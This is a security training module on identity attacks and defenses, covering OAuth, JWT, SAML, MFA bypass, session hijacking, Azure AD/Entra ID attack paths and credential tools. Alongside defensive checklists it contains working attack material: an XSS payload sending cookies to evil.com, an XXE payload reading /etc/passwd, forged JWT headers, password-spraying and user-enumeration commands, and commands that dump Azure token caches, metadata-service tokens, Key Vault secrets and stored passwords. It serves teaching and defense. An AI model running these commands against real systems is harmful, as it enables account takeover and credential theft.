Identity, Authentication & Authorization — Deep Dive Training
Identity, Authentication & Authorization — Deep Dive Training
CIPHER Training Module | Domain: Identity Security Sources: OWASP Cheat Sheet Series, PortSwigger Web Security Academy, Secureworks FOCI Research, various red team toolkits Last updated: 2026-03-14
Table of Contents
- OAuth 2.0 Attack Flows
- JWT Attacks
- SAML Attacks
- MFA Bypass Techniques
- Session Attacks
- Authentication Vulnerabilities
- Password Reset & Credential Stuffing
- Azure AD / Entra ID Attack Paths
- Credential Recovery & Network Poisoning Tools
- Defensive Reference
1. OAuth 2.0 Attack Flows
1.1 Authorization Code Interception
Attack: Attacker intercepts the authorization code during the redirect back to the client application.
Prerequisites:
- Weak or missing
redirect_urivalidation on the authorization server - No PKCE implementation
- Network-level interception capability (shared device, malicious app on mobile)
Flow:
1. Victim initiates OAuth login
2. Authorization server issues code to redirect_uri
3. Attacker intercepts code via:
a. Malicious app registered with same custom URI scheme (mobile)
b. Open redirect on legitimate redirect_uri domain
c. Network interception (HTTP redirect_uri)
4. Attacker exchanges code for access token at token endpoint
5. Attacker gains victim's session/data
Redirect URI Bypass Techniques:
- Path traversal:
/callback/../../attacker/path - Subdomain manipulation:
evil.legitimate-app.com - Parameter pollution: duplicate
redirect_uriparameters - Localhost tricks: register
localhost.evil-user.net - Fragment manipulation: change
response_modefromquerytofragment - Open redirect chaining:
redirect_uri=https://legit.com/redirect?url=https://evil.com
ATT&CK: T1550.001 (Use Alternate Authentication Material: Application Access Token)
1.2 PKCE Bypass
Context: PKCE (Proof Key for Code Exchange, RFC 7636) was designed to prevent authorization code interception, particularly for public clients.
Bypass Vectors:
- PKCE downgrade: If the authorization server does not enforce PKCE, attacker omits
code_challengefrom the authorization request. The server issues a code exchangeable withoutcode_verifier. - Method confusion: Server accepts
plainchallenge method instead ofS256, allowing trivialcode_verifierconstruction if challenge is leaked. - Implementation flaws: Server validates
code_verifieragainst wrong session or doesn't bindcode_challengeto the issued code.
Defense: Authorization servers MUST enforce PKCE for all public clients and SHOULD enforce for confidential clients. Only accept S256 method.
1.3 Token Leakage
Implicit Flow (deprecated in OAuth 2.1):
- Access token returned in URL fragment (
#access_token=...) - Leaked via browser history, Referer headers, proxy logs
- XSS on any page in the redirect domain can read the fragment
Authorization Code Flow leakage:
- Code in URL query string leaked via Referer header to third-party resources
- Browser extensions with
tabspermission can read URL - Server-side request logging captures codes
Token Extraction Methods:
- Open redirects as proxy forwarders for tokens
<img src="https://evil.com/log">injection captures Referer with token- XSS reading
window.location.hashordocument.cookie - Malicious JavaScript in imported libraries
Defense: Use authorization code flow + PKCE. Set Referrer-Policy: no-referrer. Implement short-lived codes (single-use, <60 seconds).
1.4 Scope Manipulation
Authorization Code Flow:
1. User authorizes scopes: read, profile
2. Attacker intercepts code
3. Attacker exchanges code requesting scopes: read, profile, admin
4. If server doesn't validate against original grant, elevated access granted
Implicit Flow:
- Stolen token sent to
/userinfowith modifiedscopeparameter - Some resource servers honor the scope parameter in the API request rather than the token's embedded scopes
Defense: Token endpoint MUST validate requested scopes against the original authorization. Resource servers MUST validate scopes from the token introspection or JWT claims, never from request parameters.
1.5 CSRF via Missing State Parameter
Attack: Applications omitting the state parameter in OAuth flows are vulnerable to login CSRF.
1. Attacker initiates OAuth flow, receives authorization code
2. Attacker constructs URL: https://app.com/callback?code=ATTACKER_CODE
3. Victim clicks link, app exchanges attacker's code
4. Victim's account linked to attacker's OAuth identity
5. Attacker logs into victim's account via OAuth
Defense: Generate cryptographically random state, bind to user session, validate on callback.
1.6 OAuth Reconnaissance
Standard discovery endpoints expose configuration:
GET /.well-known/oauth-authorization-server
GET /.well-known/openid-configuration
Look for: client_id, redirect_uri, response_type in authorization requests. Check for grant_types_supported — presence of implicit or password indicates weaker configurations.
2. JWT Attacks
2.1 Algorithm Confusion
none Algorithm:
1. Decode JWT header
2. Change "alg" to "none"
3. Remove signature (keep trailing dot)
4. Server accepts unsigned token if it doesn't enforce algorithm
Obfuscation variants: None, NONE, nOnE may bypass naive string checks.
RSA/HMAC Confusion (CVE-2016-10555 pattern):
1. Server expects RS256 (asymmetric): verifies with RSA public key
2. Attacker changes alg to HS256 (symmetric)
3. Attacker signs token with the server's RSA PUBLIC key as HMAC secret
4. Server uses public key as HMAC verification key — signature validates
Defense: Never derive algorithm from the JWT header. Enforce expected algorithm server-side. Use allowlists, not denylists.
2.2 Key Injection Attacks
JWK Header Injection:
{
"alg": "RS256",
"jwk": {
"kty": "RSA",
"n": "ATTACKER_PUBLIC_KEY_N",
"e": "AQAB"
}
}
Server embeds attacker's public key in the token itself, then uses it for verification. Attacker signs with corresponding private key.
JKU Header Injection:
{
"alg": "RS256",
"jku": "https://evil.com/.well-known/jwks.json"
}
Server fetches key set from attacker-controlled URL. Bypasses possible via:
- URL parsing discrepancies
- Open redirects on trusted domains
- DNS rebinding
KID (Key ID) Injection:
{
"alg": "HS256",
"kid": "../../../dev/null"
}
- Directory traversal to
/dev/null— empty key, sign with empty string - SQL injection in
kidif used in database queries - Path traversal to known static files as signing keys
Defense: Never trust JWT header parameters for key selection. Maintain server-side key registry. Validate kid against strict allowlist. Block jku/jwk from untrusted sources.
2.3 Secret Brute-Forcing
For HMAC-signed JWTs (HS256/HS384/HS512):
hashcat -a 0 -m 16500 <jwt_token> <wordlist>
Weak secrets (dictionary words, short strings) are cracked in seconds. JWT secrets should be minimum 256 bits of entropy.
2.4 Signature Bypass via decode() vs verify()
Many JWT libraries provide both decode() (parses without verification) and verify() (parses with signature check). Developers confusing these methods skip verification entirely.
Defense: Code review for jwt.decode() calls without verification. Use linting rules to flag unverified JWT consumption.
3. SAML Attacks
3.1 XML Signature Wrapping (XSW)
Core Concept: SAML responses are XML documents with signed assertions. XSW attacks manipulate the XML structure so the signature validates against one element while the application processes a different, attacker-modified element.
Attack Variants (XSW1 through XSW8):
XSW1 — Detached Signature Wrapping:
<Response>
<Signature>
<!-- References original assertion via ID -->
</Signature>
<Assertion ID="original"> <!-- Signed, ignored by app -->
<Subject>legitimate-user</Subject>
</Assertion>
<Assertion ID="evil"> <!-- Unsigned, processed by app -->
<Subject>admin</Subject>
</Assertion>
</Response>
XSW3 — Assertion Wrapping:
Move the original signed assertion inside the signature's Object element, inject a forged assertion in the original location.
XSW7 — Extensions Wrapping:
Insert forged assertion inside an Extensions element, clone the signed assertion elsewhere.
Root Cause: Applications use getElementsByTagName("Assertion") which may return the attacker's forged assertion first, while signature validation references the original by ID attribute.
Defense:
- Schema validation BEFORE signature verification
- Use absolute XPath for element selection, never
getElementsByTagName - Validate that the signed element is the one being processed
- Use libraries that perform "enveloped signature" validation correctly
3.2 Assertion Replay
Attack: Capture a valid SAML assertion and replay it to gain access.
1. Intercept SAML Response (network MitM, XSS, log access)
2. Replay assertion to SP before expiration
3. SP grants session based on valid assertion
Defense:
- Short assertion lifetimes (
NotOnOrAfter< 5 minutes) OneTimeUsecondition on assertions- Track consumed assertion IDs (InResponseTo) — reject duplicates
- IP binding when practical
- TLS for all SAML message exchange
3.3 XXE via SAML
SAML messages are XML. If the XML parser processes external entities, XXE is possible.
Attack:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
<Assertion>
<Subject>
<NameID>&xxe;</NameID>
</Subject>
</Assertion>
</samlp:Response>
Variants:
- File read via
file://orphp://filter - SSRF via
http://internal-server/ - Blind XXE via out-of-band exfiltration (DNS, HTTP callback)
- Denial of Service via entity expansion (Billion Laughs)
Defense: Disable external entity processing and DTD loading in all XML parsers handling SAML. Use LIBXML_NOENT / XMLConstants.FEATURE_SECURE_PROCESSING.
3.4 IdP-Initiated SSO Risks
Unsolicited SAML responses (IdP-initiated) lack InResponseTo binding, making them inherently vulnerable to:
- Login CSRF — attacker can force authentication as a specific user
- Assertion injection — no request to validate against
- Replay attacks — harder to detect without request correlation
Defense: Prefer SP-initiated SSO. If IdP-initiated is required: validate per SAML profiles, allowlist RelayState URLs, implement assertion replay detection.
3.5 Certificate & Signature Best Practices
- RSA 2048-bit minimum, prefer ECC P-256
- SHA-256 minimum hash algorithm (never SHA-1)
- Self-signed certificates recommended for SAML (simpler trust model)
- Maximum 2-year certificate lifetime
- Store signing keys in HSM (FIPS 140-2/140-3)
- Never reuse TLS certificates as SAML signing certificates
- Publish metadata via TLS-protected URLs for automated certificate rotation
4. MFA Bypass Techniques
4.1 Push Fatigue (MFA Bombing / MFA Prompt Spamming)
Attack: Repeatedly trigger push notifications until the victim approves one out of frustration or confusion.
1. Obtain valid username + password (phishing, credential stuffing)
2. Trigger authentication repeatedly (automated)
3. Victim receives 10-50+ push notifications
4. Victim approves one to stop the noise, or approves accidentally
5. Attacker gains authenticated session
Real-world: Used in Uber breach (2022), Cisco breach (2022).
Defense:
- Number matching in push notifications (user must enter code from login screen)
- Rate limiting on push notifications (max 3 per 10 minutes)
- Geographic/device context shown in push notification
- Phishing-resistant MFA (FIDO2/WebAuthn) eliminates push entirely
- Alert SOC on repeated MFA denials
ATT&CK: T1621 (Multi-Factor Authentication Request Generation)
4.2 SIM Swap
Attack: Social engineering the mobile carrier to transfer victim's phone number to attacker's SIM.
1. Gather victim PII (name, address, SSN, account PIN via OSINT/social engineering)
2. Contact carrier, request number port to new SIM
3. Carrier transfers number to attacker's device
4. Attacker receives all SMS-based MFA codes
5. Attacker authenticates with stolen password + intercepted SMS code
Defense:
- Never use SMS for MFA on high-value accounts (NIST SP 800-63B deprecated SMS)
- Carrier PIN/passphrase for account changes
- Use authenticator apps (TOTP) or hardware tokens
- Monitor for sudden loss of cellular service (indicator of SIM swap)
4.3 Adversary-in-the-Middle (AiTM) — Evilginx2
Attack: Real-time phishing proxy that captures both credentials AND session tokens, completely bypassing MFA.
1. Attacker sets up Evilginx2 with phishlet for target service
2. Victim receives phishing link to attacker's proxy domain
3. Proxy forwards all requests to legitimate service in real-time
4. Victim authenticates normally (enters password, completes MFA)
5. Proxy captures:
- Username/password
- MFA responses
- Session cookies post-authentication
6. Attacker replays session cookies — fully authenticated, MFA bypassed
Key Point: AiTM bypasses ALL non-phishing-resistant MFA — TOTP, SMS, push notifications, phone calls. The user completes legitimate MFA; the proxy just captures the resulting session.
Only defenses:
- FIDO2/WebAuthn (origin-bound, proxy cannot relay)
- Certificate-based authentication (mutual TLS)
- Token binding (binds session to TLS channel)
- Conditional access policies detecting impossible travel / anomalous sign-in
ATT&CK: T1557 (Adversary-in-the-Middle), T1111 (Multi-Factor Authentication Interception)
4.4 TOTP Seed Theft
Attack: Steal the TOTP secret key (seed) to generate valid codes independently.
Vectors:
- QR code screenshot during enrollment (shoulder surfing, screen capture malware)
- Extracting seed from authenticator app backup (unencrypted cloud backups)
- Server-side database compromise (seeds stored in cleartext or weakly encrypted)
- Memory dumping on enrollment endpoint
- Backup codes stored insecurely by user
Defense:
- Encrypt TOTP seeds at rest with HSM-backed keys
- Never display seed after initial enrollment
- Require re-authentication before seed display/reset
- Monitor for seed access in application logs
- Use hardware-bound authenticators (YubiKey TOTP) where seeds cannot be exported
4.5 MFA Implementation Flaws
Direct Object Reference Bypass:
POST /login → 200 OK (step 1: password verified)
POST /login/mfa?user=victim → change user parameter to another account
Step Skip:
POST /login → 200 OK → redirects to /mfa-challenge
GET /dashboard → if session already partially authenticated, app grants access
Brute-Forcing 2FA Codes:
- 6-digit TOTP = 1,000,000 possibilities
- Without rate limiting: brute-forceable in <30 minutes
- Time window tolerance (usually +/- 1 window = 90 seconds) means ~3 valid codes at any time
Defense: Server-side enforcement of MFA completion before any authenticated access. Rate limit MFA attempts (5 failures = lockout). Bind MFA challenge to the authenticated session, not user-supplied parameters.
4.6 Conditional Access Policy Gaps (Microsoft-Specific)
MFASweep identifies services where MFA enforcement differs:
- Microsoft Graph API vs. Exchange Web Services vs. ActiveSync
- Different user agents trigger different policies (mobile vs. desktop)
- Legacy authentication protocols may bypass modern MFA requirements
- Different OAuth client IDs may have different policy coverage
# Test all Microsoft services for MFA gaps
Invoke-MFASweep -Username user@domain.com -Password P@ssw0rd
# Brute-force client IDs for policy gaps
Invoke-BruteClientIDs -Username user@domain.com -Password P@ssw0rd
Defense: Conditional access policies should block legacy authentication entirely. Apply MFA policies to all cloud apps, not specific ones. Regularly audit with MFASweep from defensive perspective.
5. Session Attacks
5.1 Session Fixation
Attack: Attacker sets the session ID before the victim authenticates, then uses that known ID after authentication.
1. Attacker obtains valid session ID (visits app, receives cookie)
2. Attacker injects session ID into victim's browser:
a. URL parameter: https://app.com/login?SESSIONID=attacker_known_id
b. Set-Cookie via XSS: document.cookie="SESSIONID=attacker_known_id"
c. Meta tag injection: <meta http-equiv="Set-Cookie" content="SESSIONID=x">
d. Cross-subdomain cookie setting (if attacker controls subdomain)
3. Victim authenticates using the attacker-set session ID
4. Server upgrades session to authenticated state WITHOUT regenerating ID
5. Attacker uses the known session ID — now authenticated as victim
Defense:
- Regenerate session ID after authentication — this is the primary defense
- Invalidate old session on regeneration
- Accept only server-generated session IDs (strict mode, reject user-supplied)
- Bind session to client properties (IP, User-Agent)
- Use
Secure,HttpOnly,SameSitecookie attributes
5.2 Session Hijacking
Methods:
- Network sniffing: Capture session cookie over unencrypted connection
- XSS:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script> - Malware: Browser extension or keylogger extracting cookies
- Side-channel: CSS injection timing attacks, cache probing
- Physical access: Browser cookie store, session storage
Defense:
- TLS everywhere (HSTS enforcement)
HttpOnlyflag (blocks JavaScript access)Secureflag (HTTPS-only transmission)SameSite=LaxorStrict(blocks cross-origin sending)- Short session timeouts (idle: 15 min, absolute: 8 hours)
- Session binding to IP/User-Agent with anomaly detection
- Re-authentication for sensitive operations
5.3 Session Prediction
Attack: If session IDs are generated with insufficient entropy or predictable patterns, attacker can guess valid IDs.
Weak patterns:
- Sequential integers
- Timestamp-based
- User-derived (hash of username)
- Weak PRNG seeding
Defense: Minimum 128 bits of entropy from CSPRNG. Use framework-provided session management. Never roll custom session ID generation.
5.4 Cookie Security Attributes Summary
| Attribute | Purpose | Setting |
|---|---|---|
Secure |
HTTPS-only transmission | Always set |
HttpOnly |
Block JavaScript access | Always set |
SameSite |
Cross-origin request control | Lax minimum, Strict preferred |
Domain |
Cookie scope | Omit (restricts to exact origin) |
Path |
URL path scope | Set narrowly |
Max-Age/Expires |
Persistence | Omit for session cookies |
5.5 Session Lifecycle Best Practices
- Idle timeout: 2-5 min (high value), 15-30 min (low risk)
- Absolute timeout: 4-8 hours maximum regardless of activity
- Regeneration: After every privilege change (login, role escalation, password change)
- Logout: Server-side invalidation +
Clear-Site-Data: "cache", "cookies", "storage"header - Monitoring: Log session lifecycle with salted hashes of session IDs (not raw IDs)
- Detection: Alert on multiple simultaneous sessions, IP changes mid-session, User-Agent changes
6. Authentication Vulnerabilities
6.1 Brute Force & Credential Attacks
Username Enumeration:
- Differential error messages: "Invalid username" vs. "Invalid password"
- Response timing differences (database lookup only for valid users)
- Account lockout only for valid accounts
- Registration flow: "Email already in use"
- Password reset: "Email sent" only for valid accounts
Defense: Generic errors ("Invalid credentials"), constant-time comparison, consistent responses for all code paths.
Password Spraying (horizontal brute force):
For each password in [common_passwords]:
For each user in [user_list]:
attempt_login(user, password)
sleep(delay) # Avoid lockout
Tools for Microsoft environments:
- MSOLSpray: Azure AD/O365 spraying, extracts MFA status from error codes, integrates with FireProx for IP rotation
- o365spray: Python-based, 5 enumeration modules, 7 spraying modules, User-Agent randomization, lockout detection
- Kerbrute: Kerberos pre-auth brute-forcing, user enumeration without login failures (no lockout), password spraying
# Kerbrute user enumeration (no lockouts triggered)
kerbrute userenum -d domain.local users.txt --dc 10.0.0.1
# Kerbrute password spray
kerbrute passwordspray -d domain.local users.txt 'Spring2026!'
# MSOLSpray
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!'
# o365spray enumeration + spray
o365spray --enum -U users.txt -d target.com
o365spray --spray -U valid_users.txt -P passwords.txt -d target.com
6.2 Account Lockout Bypass
- IP rotation (FireProx, rotating proxies)
- Distribute attempts across time (respect lockout window)
- Target accounts below lockout threshold
- Use protocols with different lockout counters (e.g., ActiveSync vs. web portal)
- Kerberos pre-auth enumeration (no lockout for invalid users)
6.3 Password Storage Requirements
- Use modern adaptive hashing: Argon2id (preferred), bcrypt, scrypt
- Never: MD5, SHA-1, SHA-256 without key stretching
- Minimum work factors (adjust to target ~250ms per hash):
- Argon2id: m=19456, t=2, p=1
- bcrypt: cost factor 10+
- scrypt: N=2^17, r=8, p=1
6.4 HTTP Basic Authentication
Credentials sent base64-encoded (not encrypted) with every request. Only acceptable over TLS. Provides no logout mechanism, no session management, no lockout capability. Avoid for user-facing applications.
7. Password Reset & Credential Stuffing
7.1 Secure Password Reset Flow
1. User requests reset → generic response regardless of account existence
2. Generate cryptographic random token (min 128 bits)
3. Hash token before storing (treat as credential)
4. Send HTTPS link with token to registered email
5. Token expires in 15-60 minutes, single-use
6. User sets new password → enforce password policy
7. Invalidate all existing sessions
8. Notify user via email (DO NOT include password)
9. Require normal login (no auto-login after reset)
Anti-Enumeration: Consistent response ("If an account exists, you'll receive an email"), consistent timing, rate limiting per account.
Token Security: Set Referrer-Policy: no-referrer to prevent token leakage. Never rely on Host header for URL generation (host header injection).
7.2 Credential Stuffing Defense Stack
Layer 1 — Primary: MFA (stops 99.9% per Microsoft data)
Layer 2 — Detection:
- Monitor login failure rates, geographic anomalies, timing patterns
- TLS fingerprinting (JA3) to identify automation frameworks
- Device fingerprinting (OS, browser, resolution, fonts)
- HTTP/2 fingerprinting, header ordering analysis
Layer 3 — Friction:
- CAPTCHA after failed attempts
- JavaScript challenges (headless browser detection)
- Cryptographic puzzles (proof-of-work)
- Progressive delays (exponential backoff)
Layer 4 — Intelligence:
- Breached password checking (Have I Been Pwned API, k-anonymity model)
- IP reputation (hosting provider detection, proxy/VPN identification)
- Rate limiting per IP, per account, per subnet
Layer 5 — User Notification:
- Alert on login from new device/location
- Show previous login details (date, time, location)
- Active session management (view and revoke)
8. Azure AD / Entra ID Attack Paths
8.1 Reconnaissance
Tenant Discovery:
# Check if domain uses O365
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
# Get Tenant ID and OpenID configuration
curl "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"
# o365spray validation
o365spray --validate -d target.com
User Enumeration (no lockout with some methods):
- Kerbrute against on-prem AD synced to Azure AD
- o365spray
--enumusing multiple modules (oauth2, onedrive, autologon) - Azure AD user enumeration via
GetCredentialTypeAPI
Tooling for Enumeration:
| Tool | Purpose |
|---|---|
| AzureHound | BloodHound integration for Azure privilege paths |
| ROADTool | Azure AD data gathering via authenticated sessions |
| StormSpotter | Neo4j visualization of Azure attack paths |
| PowerZure | Role-based enumeration (Reader → Owner → Admin) |
| MicroBurst | Azure service discovery + post-exploitation |
| SkyArk | Shadow Admin / privileged user identification |
8.2 Initial Access
Password Spraying:
# MSOLSpray — also reveals MFA status, lockout, disabled accounts
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!'
# With FireProx IP rotation to bypass Smart Lockout
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!' -URL https://api-gw.execute-api.us-east-1.amazonaws.com/fireprox
Azure AD Smart Lockout: 10 failed attempts → 1-minute lockout (default). Extranet vs. intranet lockout may differ.
Device Code Phishing:
1. Attacker initiates device code flow: POST /devicecode
2. Receives user_code and device_code
3. Sends user_code to victim: "Enter this code at https://microsoft.com/devicelogin"
4. Victim authenticates and enters code
5. Attacker polls token endpoint with device_code
6. Receives access_token + refresh_token for victim's session
Particularly dangerous with FOCI (see 8.4) — single refresh token grants access across 15+ Microsoft applications.
Illicit Consent Grant:
1. Attacker creates malicious Azure AD application
2. Sends OAuth authorization link to victim
3. Victim grants permissions (mail.read, files.readwrite, etc.)
4. Attacker's app has persistent access to victim's data
5. Survives password changes (token-based, not credential-based)
8.3 Token Theft & Abuse
Token Storage Locations:
# Azure CLI tokens (Linux)
cat ~/.azure/msal_token_cache.json
# Azure CLI tokens (Windows)
type %USERPROFILE%\.azure\msal_token_cache.json
# Az PowerShell tokens
$env:USERPROFILE\.Azure\TokenCache.dat
# Managed Identity tokens (from Azure VM)
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Primary Refresh Token (PRT) Abuse — "Pass the PRT":
- PRT is issued to Azure AD joined/registered devices
- Stored in TPM (secure) or as a session key (extractable)
- Can be used for lateral movement within Entra ID
- Tools: ROADtoken, AADInternals
8.4 FOCI — Family of Client IDs
Critical Finding (Secureworks research): Microsoft groups 15 first-party OAuth clients into a "family." A refresh token from any family member can obtain access tokens for any other member.
Known FOCI Members (15 applications):
- Microsoft Azure CLI
- Microsoft Azure PowerShell
- Microsoft Teams
- Microsoft Office
- OneDrive (SyncEngine + iOS)
- Microsoft Authenticator App
- Outlook Mobile
- Visual Studio
- Windows Search
- Microsoft Stream Mobile
Attack Implications:
1. Compromise refresh token from low-privilege FOCI app (e.g., Teams mobile)
2. Exchange refresh token for access token to high-privilege app (e.g., Azure CLI)
3. New access token has scopes of the TARGET app, not the original
4. Cross-tenant: works across tenants where user has guest accounts
This violates OAuth 2.0's core principle that refresh tokens are bound to the client and scopes of the original authorization.
Detection: Look for "foci" field in token responses. Monitor sign-in logs for token redemption across different client IDs with same refresh token lineage.
8.5 Privilege Escalation
Azure AD Connect Exploitation:
1. Compromise Azure AD Connect server
2. Extract MSOL service account credentials from database
3. MSOL account has DCSync rights (AD Replication)
4. DCSync → extract all domain password hashes
5. Seamless SSO → generate silver tickets
Dynamic Group Manipulation:
- If attacker can modify user attributes that match dynamic group rules
- Adding user to privileged dynamic group grants role assignments
- Example: change department attribute to match "IT Admins" group rule
Runbook Automation Abuse:
- Runbook automation accounts often have elevated permissions
- Create/modify runbooks for persistent code execution
- Schedule runbooks for recurring backdoor access
Key Vault Secret Extraction:
# If access policies permit
Get-AzKeyVaultSecret -VaultName target-vault
Get-AzKeyVaultSecret -VaultName target-vault -Name secret-name -AsPlainText
8.6 Persistence
- Add credentials to Enterprise Applications (client secrets/certificates)
- Service principal certificate abuse ("Pass the Certificate")
- Federated identity credential injection
- Application consent grants (survive password resets)
- Runbook schedules for recurring execution
- SAS URLs for persistent storage access
8.7 Detection & Defense
Conditional Access Policies:
- Block legacy authentication protocols entirely
- Require MFA for all cloud apps (not just specific ones)
- Require compliant/hybrid joined devices
- Block sign-ins from risky locations
- Require phishing-resistant MFA for administrators
Monitoring:
- Azure AD Sign-in logs: anomalous client IDs, impossible travel
- Audit logs: application consent grants, credential additions
- Workbook for FOCI token patterns
- Alert on service principal modifications
- Monitor Azure AD Connect health
9. Credential Recovery & Network Poisoning Tools
9.1 LaZagne — Local Credential Recovery
Purpose: Recovers passwords stored on local machines by various applications.
Credential Stores Targeted:
| Category | Examples |
|---|---|
| Browsers | Chrome, Firefox, Edge, Opera, Brave, 25+ Chromium variants |
| Outlook, Thunderbird, Clawsmail | |
| Databases | PostgreSQL, SQL Developer, DBVisualizer |
| System | Windows autologon, cached creds, DPAPI, LSA secrets |
| Network | SSH keys, WinSCP, FileZilla, OpenVPN, WiFi |
| Development | Git credentials, Docker, AWS, Maven |
| Password Managers | KeePass |
| Communication | Pidgin, Psi, Skype |
# All modules
laZagne.exe all
# Specific module
laZagne.exe browsers -firefox
# JSON output
laZagne.exe all -oJ
Note: WiFi and Windows secrets require administrative privileges.
ATT&CK: T1555 (Credentials from Password Stores), T1552 (Unsecured Credentials)
9.2 Responder — Network Credential Capture
Purpose: Poisons LLMNR, NBT-NS, and MDNS name resolution to capture credentials on the local network.
Attack Flow:
1. Client attempts DNS resolution for non-existent hostname
2. DNS fails → client falls back to LLMNR/NBT-NS/MDNS broadcast
3. Responder answers broadcast, claiming to be the requested host
4. Client sends authentication to Responder's rogue server
5. Responder captures credentials (hashes or cleartext)
Rogue Servers (17+):
- SMB (445/139): NetNTLMv1/v2 hash capture
- HTTP/HTTPS (80/443): NTLM, Basic, Digest auth
- MSSQL (1433): SQL and Windows auth
- Kerberos (88): AS-REP hash capture
- LDAP (389): Directory auth capture
- FTP (21), SMTP (25/587), IMAP (143), POP3 (110): Cleartext
Captured Credential Types:
- NetNTLMv1/v2 hashes → offline cracking with hashcat/john
- Kerberos AS-REQ hashes → offline cracking
- Cleartext passwords (HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL)
sudo python3 Responder.py -I eth0 -v
ATT&CK: T1557.001 (LLMNR/NBT-NS Poisoning), T1040 (Network Sniffing)
Defense: Disable LLMNR and NBT-NS via Group Policy. Deploy mDNS controls. Monitor for anomalous name resolution patterns.
9.3 Kerbrute — Kerberos Pre-Auth Testing
Key Advantage: User enumeration via Kerberos pre-auth does NOT trigger login failure events (no lockouts). Only a single UDP frame per attempt.
Capabilities:
userenum: Enumerate valid usernames (no lockout)passwordspray: Single password vs. many users (triggers events 4768/4771)bruteuser: Multiple passwords vs. single user (high lockout risk)bruteforce: Username:password pairs from file
# Safe enumeration
kerbrute userenum -d corp.local --dc dc01.corp.local users.txt
# Spray with safety
kerbrute passwordspray -d corp.local --dc dc01.corp.local users.txt 'Winter2026!' --safe
--safe flag: aborts all threads if any account lockout detected.
ATT&CK: T1110.003 (Password Spraying), T1087.002 (Domain Account Discovery)
10. Defensive Reference
10.1 Authentication Hardening Checklist
- Minimum password length: 8 (with MFA), 15 (without MFA)
- Maximum password length: at least 64 characters
- Allow all Unicode characters including spaces
- Remove mandatory complexity rules (upper/lower/number/special)
- Check passwords against breached password databases
- Implement password strength meter (zxcvbn)
- No periodic forced password rotation
- MFA required for all users, mandatory for privileged accounts
- Phishing-resistant MFA (FIDO2/WebAuthn) for administrators
- Generic error messages for all auth failures
- Constant-time credential comparison
- Account lockout with exponential backoff
- Re-authentication for sensitive operations
- TLS for entire session lifecycle (HSTS enforced)
- Log all auth failures, lockouts, password changes
10.2 Session Security Checklist
- Session IDs: 128+ bits entropy from CSPRNG
- Regenerate session ID after authentication
- Regenerate session ID after privilege change
- Cookie attributes:
Secure; HttpOnly; SameSite=Lax - Idle timeout: 15-30 min (adjust by risk)
- Absolute timeout: 4-8 hours
- Server-side session invalidation on logout
-
Cache-Control: no-storeon authenticated pages -
Clear-Site-Dataheader on logout - Monitor concurrent sessions per user
10.3 OAuth 2.0 Security Checklist
- Use Authorization Code flow + PKCE (S256 only)
- Strict redirect_uri validation (exact match, no wildcards)
- Cryptographic
stateparameter bound to session - Validate scopes at token exchange against original grant
- Short-lived authorization codes (<60 seconds, single-use)
- Rotate refresh tokens on use (one-time use)
- Validate ID tokens: issuer, audience, signature, expiration
- Set
Referrer-Policy: no-referrer - Disable implicit grant type
- Protect token endpoint with client authentication
10.4 SAML Security Checklist
- Schema validation before signature verification
- Absolute XPath for element selection
- Disable external entity processing (XXE prevention)
- Short assertion lifetimes (<5 minutes)
-
OneTimeUsecondition on assertions - Track consumed assertion IDs for replay prevention
- RSA 2048+ or ECC P-256, SHA-256 minimum
- HSM for signing key storage
- Prefer SP-initiated SSO over IdP-initiated
- TLS for all SAML message exchange
- Self-signed certificates (simpler trust model)
- Maximum 2-year certificate lifetime
10.5 MFA Security Checklist
- FIDO2/WebAuthn for highest-risk accounts
- Number matching for push notifications
- Rate limit push notifications
- Never use SMS for high-value accounts
- Rate limit MFA code attempts (5 failures = lockout)
- TOTP seeds encrypted at rest (HSM-backed)
- Recovery codes: single-use, stored hashed
- Re-authenticate before MFA factor changes
- Out-of-band notification on factor changes
- Block legacy authentication protocols
10.6 Azure AD / Entra ID Security Checklist
- Block legacy authentication in Conditional Access
- Require MFA for ALL cloud apps
- Require compliant/hybrid Azure AD joined devices
- Implement Privileged Identity Management (PIM) for admin roles
- Monitor for FOCI token abuse patterns
- Alert on application consent grants
- Alert on service principal credential additions
- Secure Azure AD Connect server (Tier 0 asset)
- Disable self-service application consent (or require admin approval)
- Review dynamic group membership rules for abuse
- Monitor Key Vault access patterns
- Implement break-glass accounts with monitoring
10.7 Detection Rules — Key Events
Windows/AD:
| Event ID | Description | Relevance |
|---|---|---|
| 4768 | Kerberos TGT requested | Password spray detection |
| 4771 | Kerberos pre-auth failed | Brute force detection |
| 4625 | Failed logon | Credential attack detection |
| 4648 | Logon with explicit credentials | Lateral movement |
| 4720 | User account created | Persistence |
| 4724 | Password reset attempt | Account takeover |
Azure AD Sign-in Logs:
ResultType 50126: Invalid credentialsResultType 50053: Account lockedResultType 50076: MFA required (user didn't complete)ResultType 50074: MFA challenge issuedResultType 0: Successful sign-in (correlate with above for spray patterns)
References & Tools
| Tool | Purpose | URL |
|---|---|---|
| LaZagne | Local credential recovery | github.com/AlessandroZ/LaZagne |
| Responder | LLMNR/NBT-NS/MDNS poisoning | github.com/lgandx/Responder |
| Kerbrute | Kerberos brute-forcing | github.com/ropnop/kerbrute |
| MFASweep | Microsoft MFA gap testing | github.com/dafthack/MFASweep |
| MSOLSpray | Azure AD password spraying | github.com/dafthack/MSOLSpray |
| o365spray | O365 enumeration + spraying | github.com/0xZDH/o365spray |
| FOCI Research | Azure AD client ID families | github.com/secureworks/family-of-client-ids-research |
| Azure-Red-Team | Azure AD attack playbook | github.com/rootsecdev/Azure-Red-Team |
| Evilginx2 | AiTM phishing framework | github.com/kgretzky/evilginx2 |
| AzureHound | Azure BloodHound collection | github.com/BloodHoundAD/AzureHound |
| ROADtools | Azure AD exploration | github.com/dirkjanm/ROADtools |
| AADInternals | Azure AD admin toolkit | github.com/Gerenios/AADInternals |
Training module compiled from OWASP Cheat Sheet Series, PortSwigger Web Security Academy, Secureworks FOCI research, and open-source red team tooling documentation.